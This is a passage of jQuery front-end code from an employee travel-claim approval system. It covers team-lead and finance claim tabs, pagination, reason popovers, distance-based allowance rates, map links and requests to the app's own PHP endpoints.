                let TL_empName=TL_Value[1];
                convertToObj["TLName"]=TL_empName;
                convertToObj["TLId"]=TL_empID;
            }else{
              convertToObj[obj.name]=obj.value;
            }
          });
        let postContent=JSON.stringify(convertToObj);
        console.log(postContent);
        let returnResponse=postDataHttpRequest("php/TransferFortNightClaimToAnotherTL.php",postContent);
        // console.log(returnResponse);
        returnResponse.then((result)=>{
            
            if(result=="UPDATED"){
             $("#transferFortNightClaimSubmitbtn").hide();
             $("#form_transferFortNightClaimModal .messagePara").html("FortNight Claims Sucssefully transfered.");
             $(".divEmployeeInfo.active").remove();
             
             let length=$(".divEmployeeInfo").length;
             if(length>0){
                $(".divEmployeeInfo").first().trigger('click');
                $(".divEmployeeInfo").first().addClass("active");
             }else{ //if pending TL claims empty
                $("#inserted_tableBody_data").empty();
	             adjustUIDataNotFound();
	             $("#empInfoCard_NoDataFound").show();
             }
             
             //decrease count of pending at Tl claims
             let currentPendingCount=parseInt($("#pendingIcon_count").html());
             currentPendingCount--;
             $("#pendingIcon_count").html(currentPendingCount);
             
             }else{
                $("#form_transferFortNightClaimModal .messagePara").addClass("text-danger");
                $("#form_transferFortNightClaimModal .messagePara").html("Internal error 500.");
                $("#transferFortNightClaimSubmitbtn").html("<i class='fas fa-redo'></i>");
             }
        })
        .catch((error)=>{
                $("#form_transferFortNightClaimModal .messagePara").addClass("text-danger");
                $("#form_transferFortNightClaimModal .messagePara").html("Ajax error try again later.");
                $("#transferFortNightClaimSubmitbtn").html("<i class='fas fa-redo'></i>");
        })
        .finally(()=>{
            console.log("response ended");
        });
        
    });
//------------------------------------end------------------------------


/*-----------------------------------------------------------------*/
/*function to adjust-UI If Data Not-Found*/
/*-----------------------------------------------------------------*/
function adjustUIDataNotFound() {
	$('#inserted_tableBody_data').html(" ");
	$("#nodata").show();
	$("#download_UIexcel_btn").hide();
	 $(".reportSelectAll_Th").hide();
	// $(".bottomdata").hide();

	//UI will distrubs when 2nd time "no data found"
	$(".table-scroll .sticky-column.col2").css("left", "28.3px");
	$(".table-scroll .sticky-column.col3").css("left", "71.4px");
	$(".table-scroll .sticky-column.col4").css("left", "186.7px");
	$(".table-scroll .sticky-column.col5").css("left", "225.1px");
	$(".table-scroll .sticky-column.col6").css({
		"left": "243.3px",
		"border-right": "1px solid #e0e4e8"
	});

}
/*-----------------------------------------------------------------*/
/*-----------------------------------------------------------------*/

function chooseTabRelatedTableHeading(tabStatus) {
    
	var selectedTabRelatedHeadingFields = new SelectedTabRelatedHeadingFields();
	var createdTableHeadingUI;
	switch (tabStatus) {
		case CLAIM_PENDING:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_NewClaims(LOGGED_IN_DEPARTMENT);
			break;

		case CLAIM_TL_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_TLDepartmentApproved();
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_FinanceDepartmentTLApproved(LOGGED_IN_DEPARTMENT);
			}
			break;

		case CLAIM_TL_REJECTED:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_TLRejectTab();
			break;

		case CLAIM_FINANCE_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_TLDepartmentFinanceApproved();
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_pendingPayments();
			}
			break;

		case CLAIM_FINANCE_REJECTED:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_FinanceRejectTab();
			break;

		case CLAIM_PAID:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_completedPayments();
			break;

	}
	$("#inserted_tableHeading_data").html(createdTableHeadingUI);
	//	addResizableFunctionality();
		$('[data-toggle="Abbrevation_tooltip"]').tooltip({
		   	trigger: 'click'
		});
	$("#selectAll_input").change(function() {
    if(this.checked) {
        $(".form-check-input.selectAllApprove_radioBtn").trigger('click');
        $("form .selectAll_reportSubmissionBtn").addClass("active");
    }else{
         $(".form-check-input.selectAllApprove_radioBtn").prop("checked", false);
         $("form .selectAll_reportSubmissionBtn").removeClass("active");
         if(tabStatus == CLAIM_FINANCE_APPROVED){
             $(".reportSubmittingForm p.reasonParaTag").empty();
             }
    }
    });
    
    
    $("#submitAllBtn").click(function(){
       let reportSelectedCount=getReportSelectedCount();
         
          if(reportSelectedCount==0){
             $("#AllsubmitWarningModal .modal-body p").html("Select atleast one report to proceed");
             $("#submitSelectedClaims").hide();
         }else{
             $("#AllsubmitWarningModal .modal-body p").html("Do you want to submit selected claims ?");
                 $("#submitSelectedClaims").show();
         }
    });
    
   
}

       $("#submitSelectedClaims").click(function(){
           resetAllSubmitResultBox();
            let reportSelectedCount=getReportSelectedCount();
            $(".totalNoOfSubmits").html(reportSelectedCount);
         $("#Allsubmissionloading_page").css("display","flex");
            INTERVAL = setInterval(updateDiv,1000);// timer in    filename-> timer.js
            
         $(".selectAll_reportSubmissionBtn.active").each(function(index){
             
            // console.log(index);
             let currentLoopSubmitBtn=$(this);
                currentLoopSubmitBtn.trigger('click');
         })
        
           
       });  
       
        $("#allSubmitOkbtn").click(function(){
            resetAllSubmitResultBox();
            $("#Allsubmissionloading_page").hide();
            hideAllSubmitFormBtn();
        
        
    });
    function resetAllSubmitResultBox(){
        SECONDS=0;
        MINUTES=0;
        $("#Allsubmissionloading_page .noOfSuccess").html(0);
        $("#Allsubmissionloading_page .submitFailureCount").html(0);
        $("#Allsubmissionloading_page .totalNoOfSubmits").html(0);
        $("#allSubmitOkbtn").hide();
    }

function checkSelectedTabAndDepartment(selectedTabRelatedTableDataValueFields, rowValues, forLoopIndex, tabStatus, map) {
	var createdUi;
	switch (tabStatus) {
		case CLAIM_PENDING://tabStatus
			createdUi = selectedTabRelatedTableDataValueFields.Tab_NewClaimsRelatedUI(rowValues, forLoopIndex, map); //method->"Tab_NewClaimsRelatedUI" in class->"selectedTabRelatedTableDataValueFields" in selectedTabRelatedTableDataValueFields.js
			break;
		case CLAIM_TL_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_TLDepartmentApprovedRelatedUI(rowValues, forLoopIndex);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_FinanceDepartmentTLApprovedRelatedUI(rowValues, forLoopIndex, map);
			}

			break;
		case CLAIM_TL_REJECTED:
			createdUi = selectedTabRelatedTableDataValueFields.Tab_TLDepartmentRejectTabRelatedUI(rowValues, forLoopIndex);
			break;
		case CLAIM_FINANCE_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_TLDepartmentFinanceApprovedRelatedUI(rowValues, forLoopIndex);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_PendingPaymentsRelatedUi(rowValues, forLoopIndex);
			}
			break;
		case CLAIM_FINANCE_REJECTED:
			createdUi = selectedTabRelatedTableDataValueFields.Tab_FinanceDepartmentRejectTabRelatedUI(rowValues, forLoopIndex);
			break;

		case CLAIM_PAID:
			createdUi = selectedTabRelatedTableDataValueFields.Tab_CompletedPaymentsRelatedUi(rowValues, forLoopIndex);
			break;
	}

	return createdUi;

}









/*------------------------------------------------------------------*/
/*function to change Colspan ValueOnTabchange according to Claim-status */
/*------------------------------------------------------------------*/

function changeColspanValueAndImageBillRowWidthOnTabchange(tabStatus) {
	//changing claiming status icon color
	switch (tabStatus) {
		case CLAIM_PENDING: //claim pending
			$(".imageBillsDropDownTableRow").attr("colspan", CLAIM_PENDING_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;
		case CLAIM_TL_APPROVED: //ready to approved
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_TL_APPROVED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;
		case CLAIM_TL_REJECTED: //ready to reject
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_TL_REJECTED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;
		case CLAIM_FINANCE_APPROVED: //ready to Finance Approved
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_TL_DEPARTMENT_FINANCE_APPROVED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_FINANCE_APPROVED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			}

			break;
		case CLAIM_FINANCE_REJECTED: //ready to reject
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_FINANCE_REJECTED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;
		case CLAIM_PAID: // ready to claim
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_PAID_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;

	}

}
/*------------------------------------------------------------------*/

/*-----------------------------------------------------------------------------------*/




/*-----------------------------------------------------------------------------------*/
/*onchange select options in Deputational allowances Calculating Total*/
/*-----------------------------------------------------------------------------------*/
function onChangeDeputationAllowances(value, data_commonId) {
	var DAvalue, TotalValue, deductAmount = 0;
	if (value == "Yes") {
		DAvalue = 150;
		TotalValue = 150;
		//                                deductAmount = -150;
	} else if (value == "No") {
		DAvalue = 0;
		TotalValue = -150;
		//                                deductAmount = 150;
	}

	$("#editableDaAmount_" + data_commonId).html(DAvalue);
	var Total = $("#editableTotalFinalAmount_" + data_commonId).html();
	var SumOfTotal = Number(Total) + TotalValue;
	$("#editableTotalFinalAmount_" + data_commonId).html(SumOfTotal);

};
/*-----------------------------------------------------------------------------------*/





/*---------------------------------------------------------------------------------------*/
/*function to get popover to write reason for(approve or reject or FINANCE APPROVED) and submit*/
/*---------------------------------------------------------------------------------------*/
function getReasonWritingPopover(map) {

	//popover on rejected entries
	$('[data-toggle="resonPopover"]').popover({
		html: true,
		sanitize: false,
		storage: false,
		selector: false,
		content: function () {
			let common_id = $(this).attr('data-common-id');
			let max_reasonLength=300;
			let reasonLength=$("#reasonPara_" + common_id).html().length;
			if(reasonLength==max_reasonLength){
			    TextclassType="danger";
			    spanClass="reason_wordCount_danger";
			}else{
			    TextclassType="";
			    spanClass="";
			}
			return "<div class='text-right' style='margin-top:-10px; margin-right:-8px'><i class='fas fa-times' onclick='closepopup()'></i></div>"+
    			    "<div>" +
    				"<textarea  class='form-control "+ TextclassType+"' placeholder='Reason' id='popupReason_"+common_id+"' required='true' name='rejectpopNM' oninput='oninput_passReason(\"" + common_id + "\")'  maxlength='300' >" + $("#reasonPara_" + common_id).html() + "</textarea>" +
    				"</div>" +
    				"<div>"+
    				   // "<button onclick='passReason(\"" + common_id + "\")' class='popoverbtn'>save</button ><button class='popoverbtn ml-2' onclick='closepopup()'>close</button>"+
    				    "<button onclick='clearReason(\"" + common_id + "\")' class='popoverbtn btn-theme-type2'>Clear</button >"+
    				    "<span class='"+ spanClass+"'style='font-size: 9px; position: absolute;right: 0;'><span id='reason_wordCount_"+common_id+"'>"+reasonLength+"</span>/300</span>"+
    				"</div>";
		}
	});

	  $('body').on('click', function (e) {
		      $('[data-toggle="resonPopover"], [data-toggle="getGrandTotalAmount_Popover"], [data-toggle="claim_status_guideDate__Popover"]').each(function () {
		          //the 'is' for buttons that trigger popups
		          //the 'has' for icons within a button that triggers a popup
		          if (!$(this).is(e.target) && $(this).has(e.target).length === 0 && $('.popover').has(e.target).length === 0) {
		              $(this).popover('hide');
		          }
		      });
		       $('[data-toggle="Abbrevation_tooltip"]').each(function () {
		          if (!$(this).is(e.target) && $(this).has(e.target).length === 0) {
		              $(this).tooltip('hide');
		          }
		      });
		  });



	// "passReason" is a function name in "popover content: function"-> button.

	oninput_passReason = function (common_id) {
	    let reasonLength=$("#popupReason_"+common_id).val().length;
	    var reason = $("#popupReason_"+common_id).val().trim();
		$("#reasonPara_" + common_id).html(reason);
		$("#reason_wordCount_"+ common_id).html(reasonLength);
            checkForReasonLength_alert(reasonLength,common_id);
	}
	
	function checkForReasonLength_alert(reasonLength,common_id){
	    let max_reasonLength=300;		
		if(reasonLength==max_reasonLength){
		    $("#popupReason_"+common_id).addClass("danger");
		    $("#reason_wordCount_"+ common_id).parent().addClass("reason_wordCount_danger");
		}else{
		     $("#popupReason_"+common_id).removeClass("danger");
		       $("#reason_wordCount_"+ common_id).parent().removeClass("reason_wordCount_danger");
		}
	    
	}
	
	clearReason =function(common_id){
	    $("#popupReason_"+common_id).val('');
	    $("#reasonPara_"+common_id).html('');
	    $("#reason_wordCount_"+ common_id).html(0);
	}
	passReason = function (common_id) {
		var reason = $("#popupReason_"+common_id).val().trim();;
		$("#reasonPara_" + common_id).html(reason);
		$('[data-toggle="resonPopover"]').popover('hide');
	}
	//close popup
	closepopup = function () {
		$('[data-toggle="resonPopover"]').popover('hide');
	}
}

function setPaginationValues(currentPageNo, totalPages) {
	if (totalPages == NO_PAGES_AVAILABLE) { // ==0
		whenPagesNotAvailable();
	} else {
		whenPagesAvailable(currentPageNo, totalPages);
	}



}

function whenPagesAvailable(currentPageNo, totalPages) {
	var prevPageNo, nextPageNo;
	$("#prevPage").removeAttr("disabled");
	$("#prevPage").css("background-color", '#fff');
	$("#nextPage").removeAttr("disabled");
	$("#nextPage").css("background-color", '#fff');

	if (totalPages == currentPageNo + 1) {
		$("#nextPage").attr("disabled", true);
		$("#nextPage").css("background-color", '#dadadaf2');
		nextPageNo = currentPageNo;
		$("#noOfPreviousPagesRemaining").html(currentPageNo);
		$("#noOfNextPagesRemaining").html(0);
	} else {

		nextPageNo = currentPageNo + 1;
		$("#noOfPreviousPagesRemaining").html(currentPageNo);
	    $("#noOfNextPagesRemaining").html(totalPages-nextPageNo);
	}

	//if curent page already one, no more previous page.
	if (currentPageNo <= 0) {
		$("#prevPage").attr("disabled", true);
		$("#prevPage").css("background-color", '#dadadaf2');
		prevPageNo = currentPageNo;

	} else {
		prevPageNo = currentPageNo - 1;
	}
//	console.log("nextPageNo" + nextPageNo + " prevPageNo" + prevPageNo);


	$("#prevPage").attr("data-pageno", prevPageNo);
	$("#nextPage").attr("data-pageno", nextPageNo);

}

function whenPagesNotAvailable() {
    $("#noOfNextPagesRemaining").html(0);
    $("#noOfPreviousPagesRemaining").html(0);
	$("#nextPage").attr("disabled", true);
	$("#nextPage").css("background-color", '#dadadaf2');
}
/*---------------------------------------------------------------------------------------*/
/*function to get BillImage-Proof Button =>close and open operation*/
/*---------------------------------------------------------------------------------------*/

function loadBillImageProofButtonFunction(map) {
	$(".billImageProofDropdownBtn").click(function () {

		let buttonStatus = $(this).attr("data-btnstatus");
		let empId_date = $(this).attr("data-common-id");
		let TLId=$(this).attr("data-tlId");
		let rowspan = $(this).attr("rowspan");
		let empId = $("#empId_" + empId_date).html();
		let getClaimStatus = $("#claimStatus_" + empId_date).attr("data-claimStatus");
		// geting rowspan for print bill-images below "formula:-increamnt=(rowspan-1)/2"

		if (buttonStatus == "Buttonclosed") {
		    if(checkWheatherLogoutOrNot_InternetConnection()){ // before request-call to server checking user is still logged in or not &internet connection 
			$(this).html("<i class='fa fa-spinner fa-spin' aria-hidden='true'></i>");
			$(this).attr("data-btnstatus","ButtonOpen");//replacing closed to open btn
			fetch_related_images(empId, empId_date, getClaimStatus, map, TLId); //function call in images.js
		    }else{
		          alertNoInternet_connection();
		    }
		} else {
			$(this).html("<i class='fa fa-arrow-down' aria-hidden='true'></i>");
			$(this).attr("data-btnstatus","Buttonclosed");
			$('#imageBillsContainerDiv_' + empId_date).empty(); //deleting div
				$('#imageBillsContainerDiv_' + empId_date).css({
					"overflow": "inherit",
					"padding-  top": "0"
				});
				$('#imageBillsContainerDiv_' + empId_date).parent().css("border-top", "0");
		
			$("#myresult").css("visibility", "hidden"); // show the result div for image zoom preview
		}

	});
}
/*---------------------------------------------------------------------------------------*/



/*---------------------------------------------------------------------------------------*/
/*onClickActionOnMap*/
/*---------------------------------------------------------------------------------------*/

function onClickActionOnMap() {

	$(".onclickSingleTripMapBtn").click(function () {
		let empId_date = $(this).attr("data-common-id");
		let rowIndex = $(this).attr("data-index");
		let directions = $("#getDirectionLatLng_" + empId_date +"_"+ rowIndex).html();

		window.open("https://www.google.com/maps/dir/" + directions + MAP_DRIVING_MODE);
	});

	$(".onclickRoundTripMapBtn").click(function () {
		let empId_date = $(this).attr("data-common-id");
		let directions = '';
		$(".getDirectionLatLng_" + empId_date).each(function () {
			directions += $(this).html();
		});
		//console.log(directions);
		

		window.open("https://www.google.com/maps/dir/" + directions + MAP_DRIVING_MODE);
	});
}









/*---------------------------------------------------------------------------------------*/
function fortNightClaimsJsonSort(jsonData){
    jsonData.sort(function(a,b){
        if(a.empId > b.empId){
            return 1;
        }else if(a.empId < b.empId){
            return -1;
        }else{ // if equal, means after sorting empId 
            if(new Date(a.fromDate).getTime() > new Date(b.fromDate).getTime()){
                return 1;
            }else if(new Date(a.fromDate).getTime() < new Date(b.fromDate).getTime()){
                return -1;
            }
        }
    });
}

function changeToDateFormate(value) {
    console.log(value);
	return new Date(value).toLocaleDateString('fr-CA');
}

function changeDDMMYYY_to_YYYYMMDD_formate(date){
    if(date.split('-')[0].length==4){   // if already in [yyyy,mm,dd]
        return date;
    }
    return date.split('-').reverse().join("-");
}

function sortJson(jsonRawData, getClaimStatus) {
	var sortRawJsonDataObj = new SortRawJsonData();
	sortRawJsonDataObj.getSortedRowData(jsonRawData, getClaimStatus);
}

function getDate(date) {
	let dd = date.getDate();
	let mm = date.getMonth();
	let yyyy = date.getFullYear();
	let thisDate = yyyy + "-" + ("0" + (mm + 1)).slice(-2) + "-" + dd;
	return thisDate;

}
function getMonth_year(date) {
	let mm = date.getMonth();
	let yyyy = date.getFullYear();
	let thisDate = yyyy + "-" + ("0" + (mm + 1)).slice(-2);
	return thisDate;

}

function updateUiValuesOnChangeOfDistance(totalDistance, fta, finalAmount, ref_Id) {
	$(".FTAinput_" + ref_Id).eq(0).val(fta.toFixed(2)); // only two fractional part allowed eg:- 0.00
	$("#totalDistance_" + ref_Id).html(totalDistance.toFixed(2));
	$("#editableTotalFinalAmount_" + ref_Id).html(finalAmount);
	//console.log($(".ftaTd"+ref_Id+" input").eq(0).val()); 
}

function updateUiValuesOnChangeOfFTAamount(finalAmount, ref_Id) {
	$("#editableTotalFinalAmount_" + ref_Id).html(finalAmount);
}


function findFTA(distance) {
	var ftaINR = 0;
	if (distance < 101.0) { //0-50
		ftaINR = 410.0;
	} else if (distance < 201.0) { //51-100
		ftaINR = 560.0;
	} else if (distance < 301.0) { //101-150
		ftaINR = 735.0;
	} else if (distance < 401.0) { //151-200
		ftaINR = 870.0;
	} else if (distance < 501.0) { //201-250
		ftaINR = 1030.0;
	} else if (distance < 601.0) { //251-300
		ftaINR = 1190.0;
	} else if (distance < 701.0) { //301-350
		ftaINR = 1333.0;
	} else if (distance < 801.0) { //351-400
		ftaINR = 1475.0;
	} else if (distance < 901.0) { //401-450
		ftaINR = 1588.0;
	} else if (distance < 1001.0) { //451-500
		ftaINR = 1700.0;
	} else if (distance < 1101.0) { //501-550
		ftaINR = 1835.0;
	} else if (distance < 1201.0) { //551-600
		ftaINR = 1970.0;
	} else if (distance < 1301.0) { //601-650
		ftaINR = 2110.0;
	} else if (distance < 1401.0) { //651-700
		ftaINR = 2250.0;
	} else {
		ftaINR = 2250.0;
	}
	return ftaINR;
}

//function  getSelectDropDownList(keyValue, selectedValue) {
function getSelectDropDownList(keyValue) {
	let dropDownListArray = getStageOfAuditdropDown(); // dynamicDropdon_of_project_&_stageOfAudit class object;//dynamicDropDownObj is cont var
	let projectsList = dropDownListArray[keyValue];
	let optionTag = "";


	for (let index = 0; index < projectsList.length; index++) {
		optionTag += "<option value='" + projectsList[index] + "'>" + projectsList[index] + "</option>";
	
	}

	return optionTag;
}

function afterSuccessfullyGotResponseOfDropdown() {
    
    	AllEmpIdBelong_loggedUser.then(                         //                  in uniqueEmployeeId.js file
        	function(value){      // if success fully got resonse from fetchEmpid request
        	    let monthValue,yearValue,fromDashbord;
        	        if(localStorage.getItem("claimStatus")===null){
        	            monthValue = $("#SearchInputFortNight_form select.monthDropDown").val();
                        yearValue =  $("#SearchInputFortNight_form select.yearDropDown").val();
                        fromDashbord=false;
        	        }else{
        	            monthValue=localStorage.getItem("monthValue");
        	            yearValue=localStorage.getItem("yearValue");
                        $("#SearchInputFortNight_form select.monthDropDown").val(monthValue);
                        $("#SearchInputFortNight_form select.yearDropDown").val(yearValue);
        	            fromDashbord=true;
        	        }
        	         getFortNightEmpInfo(monthValue,yearValue,fromDashbord);// on load its call for current month  (1-30)first n last dates
        	         triggerTheFirstTab();
        	},
        	function(error){
        	    //need to handle
        	} 
        );
        	  
	/*-----------------------------------------------------------------*/
	/*function to get searched particular employee site visiting information */
	/*-----------------------------------------------------------------*/
	$("#searchClaimForm").submit(function (e) {
		e.preventDefault();
		$('input').each(function () {
			$(this).val(jQuery.trim($(this).val()));
		});
		var searchEmpId = $("#searchEmpId").val();
		var sideNavBtnStatus=$("#opensidenavMain").attr("data-butnstatus");       	
		var fromSiteVisitDate = $("#fromDateText").val();
        var toSiteVisitDate = $("#toDateText").val();
        var currentPageNo = Number($(this).attr("data-pageNo")); //<------------------------------------------pagination
        var searchFromDateValue = changeDDMMYYY_to_YYYYMMDD_formate(fromSiteVisitDate);
        var searchToDateValue = changeDDMMYYY_to_YYYYMMDD_formate(toSiteVisitDate);
        $("#searchSubmitButton").html("<i class='fa fa-spinner fa-spin'></i>");
        var claimStatus = $("#searchEmpId").attr("data-claimStatus");
        let contentObj = {
        			    searchEmpId:  searchEmpId.trim(),
        			    Fromdate: searchFromDateValue,
        			    Todate : searchToDateValue ,
        			    getClaimStatus : claimStatus, 
        			    currentPageNo :currentPageNo,
        			    currentFortNightCardId:"",        // extra object 
        			    queryRequestType:"searchBar"
        };
        console.log(contentObj);
        if(checkWheatherLogoutOrNot_InternetConnection()){
 		    if (checkRequiredConditions(searchEmpId)) { // checking for employee belongs to this TL are not.
		        getSearchingData(contentObj, 'searchSubmitButton');
        		if(sideNavBtnStatus=="open"){
        	        $("#opensidenavMain").trigger('click');
        	   }
     		}else{
     		    $("#searchSubmitButton").html("<i class='fa fa-search'></i>");
    			adjustUIDataNotFound();
    		}
        }else{
            $("#searchSubmitButton").html("<i class='fas fa-redo'></i>");
            onNoInternetErrorPlaceholder(claimStatus);
    	}
	

		//            }

	});

	/*-----------------------------------------------------------------*/
	/*-----------------------------------------------------------------*/
	/*function to get employee site visiting information in table-body*/
	/*-----------------------------------------------------------------*/

	$(".TL-Finance .headers .nav-link.nav-claim-link").click(function () {
	    $(".navbar-nav .nav-link i").invisible();
	    $("#GrandTotalAmount_btn").hide();
	    $(".reportSelectAll_Th").hide();
	    $(".TL-Finance .headers .nav-link.nav-claim-link").removeClass("active");
	    $(this).addClass("active");
	    var getClaimStatus = $(this).attr("data-claimStatus");
    	var currentPageNo = Number($(this).attr("data-pageNo")); //<------------------------------------------pagination
    	var getId = $(this).attr("id");
    	
    	let btnStatus=$("#opensidenavMain").attr('data-butnstatus');
    	chooseTabRelatedTableHeading(getClaimStatus);
    	
    	// placeholder animation
    	adjustUIDataNotFound();
    	$("#nodata").hide();
        placeholderAnimationLoader(getClaimStatus);
    	
    	
	    $("#searchEmpId").attr("data-claimStatus", getClaimStatus);
	    if(getId!="TL_newClaims"){
	         let checkForFortNightClaims=$("#empInfoCard_divId").children(".divEmployeeInfo").hasClass("active");
	         if(checkForFortNightClaims){// if fortnight Claims are not empty
	            $("#empInfoCard_divId .divEmployeeInfo.active").trigger('click');
	         }else{
	             $("#inserted_tableBody_data").empty();
	             adjustUIDataNotFound();
	         }
	          if(btnStatus=="close"){
	          $("#opensidenavMain").trigger('click');
	           }
	    }else{
	        
	      $("#empInfoCard_divId .divEmployeeInfo.active").removeClass("active");
	      if(btnStatus=="open"){
	          $("#opensidenavMain").trigger('click');
	      }
		if(checkWheatherLogoutOrNot_InternetConnection()){
    		$("#" + getId + " i").visible();
            $("#" + getId + " i").addClass("fa fa-spinner fa-spin");
 
        let monthValue = $("#SearchInputFortNight_form select.monthDropDown").val();
        let yearValue =  $("#SearchInputFortNight_form select.yearDropDown").val();
        var lastday = function(y,m){
                    return  new Date(y, m, 0).getDate();
                    }
        
        let fromDate;
        let toDate;
            if(monthValue!=ALL_MONTHS){
                fromDate=yearValue+"-"+monthValue+"-01";
                toDate=yearValue+"-"+monthValue+"-"+lastday(yearValue,monthValue);
            }else{
                fromDate=yearValue+"-01-01";
                toDate=yearValue+"-12-"+lastday(yearValue,12);
            }
          
            
        let contentObj={
                getClaimStatus: getClaimStatus,
    			fromDate: fromDate,
    			toDate: toDate
    		};
    		console.log(contentObj);
        let postContent=JSON.stringify(contentObj);
        let returnResponse=postDataHttpRequest("php/fetchTableDataTL.php",postContent);
        
        returnResponse.then((result)=>{
            //  console.log(result);
            let responseFromFetchtableData=result;
    		$('#inserted_tableBody_data').html(" "); //if data contains already, making empty
    		$("#nodata").hide(); //if already no data error came for last search, removing on new search
    		$("#download_UIexcel_btn").show();
    		$("#" + getId + " i").invisible();
    		$("#myresult").css("visibility", "hidden");
            var len = responseFromFetchtableData.length;
    		if (len == "0") {
    			adjustUIDataNotFound();
    			setPaginationValues(currentPageNo, len); //<------------------------------------------pagination
    		    }else{
    		        sortJson(responseFromFetchtableData, getClaimStatus);
    				var PaginationClassObj = new Pagination();
    				var paginationArray = PaginationClassObj.getJsonInPaginationFormate(responseFromFetchtableData, RECORD_PER_PAGE);
    				var map = new Map();
    				paginationMap_globleVar.set("paginationArray", JSON.stringify(paginationArray));
    				ResponseJsonDataMap_globleVar.set("ResponseJsonData", JSON.stringify(responseFromFetchtableData));
    				setPaginationValues(currentPageNo, paginationArray.length);
    				fetchDataCreatingUIAndBindingValues(paginationArray[0], getClaimStatus, map);
    					//<------------------------------------------pagination
    				}
    				//after click icon on "bill-images-proof" function
    				loadBillImageProofButtonFunction(map);
        })
        .catch((error)=>{
            if(error.statusText == 'timeout'){
                $("#connectionRetryBtn").attr("data-triggerId",getId);
    			$("#loading_page").removeClass("d-none");
            }
             $("#" + getId + " i").removeClass("fa fa-spinner fa-spin");
             $("#" + getId + " i").addClass("fas fa-redo");
    		console.log("ajax error on Tabs request for Claim details");
    		onErrorPlaceholder(getClaimStatus);
        })
        .finally(()=>{
		        console.log("finally ended");
		    });
		}else{
		    onNoInternetErrorPlaceholder(getClaimStatus);
		}
	}

	});
	/*----------------------------------------------------------------*/



	//on change input
	$("#SearchInputFortNight_form select").change(function(){
	    	$("#SearchInputFortNight_form button").html("<i class='fa fa-search'></i>");
	});
    

	// for result image on zoom  display left if image in right to avoid overlap
	$(document).on('mousemove', function (e) {
		var cursorPoint = $(".container-fluid").outerWidth();
		if (e.pageX < (cursorPoint - 420)) {
			$('#myresult').css('left', 'inherit');
			$('#myresult').css('right', 0);
		} else {
			// alert();
			$('#myresult').css('left', 0);
			$('#myresult').css('right', 'inherit');
		}
	});
	
	// pagination buttons (prev-next)
	$(".TL-Finance .page-link").click(function () {
		var currentPageNo = Number($(this).attr("data-pageNo"));
		var getClaimStatus = $(this).attr("data-claimstatus");
		CURRENT_PAGENO_IN_PAGINATION_ARRAY=currentPageNo;
		CURRENT_PAGE_CLAIM_STATUS=getClaimStatus;
	    loadPageContent(currentPageNo, getClaimStatus);
	});
	
	$("#download_UIexcel_btn").click(function () {
		$(this).html('<i class="fa fa-spinner fa-spin"></i>');
		if (generateUIExcel()) {//  in generateUIExcel.js file
			$("#download_UIexcel_btn").html('<i class="fa fa-arrow-down"></i>');
		} else {
			$("#download_UIexcel_btn").html('<i class="fa fa-repeat" aria-hidden="true"></i>');
		}
	});

	$("#execelEmpID").blur(function () {
		let searchEmpId = $(this).val();
		if (searchEmpId.length != 6) {
			addErrorMessage(searchEmpId + " Invalid  Employee Id");
			 if(searchEmpId.length==0){
		            	addErrorMessage("Enter Employee Id");
		        }
			sendBtnDates_MakeDisabled();

		} else {
			sendBtnDates_removeDisabled();
			addErrorMessage("");
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				let checkRequiredConditions = checkSearchingEmpId_in_GlobalUniqueArray(searchEmpId);
				if (!checkRequiredConditions) {
					sendBtnDates_MakeDisabled();
					addErrorMessage(searchEmpId + " your are not authorised TL");
				}
			}
		}
	});


}

//****************************************** side nav fortNight conentent and Operation fucntionality ***************************************** 

function appendFortnightEmpInfoDynamicUI(jsonData,updateStatusCount){
    // console.log(jsonData);
     $("#empInfoCard_divId").empty();
     $("#empInfoCard_NoDataFound").hide();
     if(jsonData.length > 0){
        LAZY_LOADING_START_FROM_INDEX=0;
        LAZY_LOADING_JSON=jsonData;
        appendLazyLoadingFortNightEmployInfoCards();
     }else{// if no data found
         
         $("#empInfoCard_NoDataFound").show();
         $("#inserted_tableBody_data").empty();
         adjustUIDataNotFound();
     }
    if(updateStatusCount){
        updateClaimStatusIconCount(jsonData);
    }
    $(".divEmployeeInfo").first().trigger('click');

}
    $("#sideNavBarMain").on("click",".divEmployeeInfo", function(e){
            let triggerdClassName=$(e.target).attr('data-trigger-class');
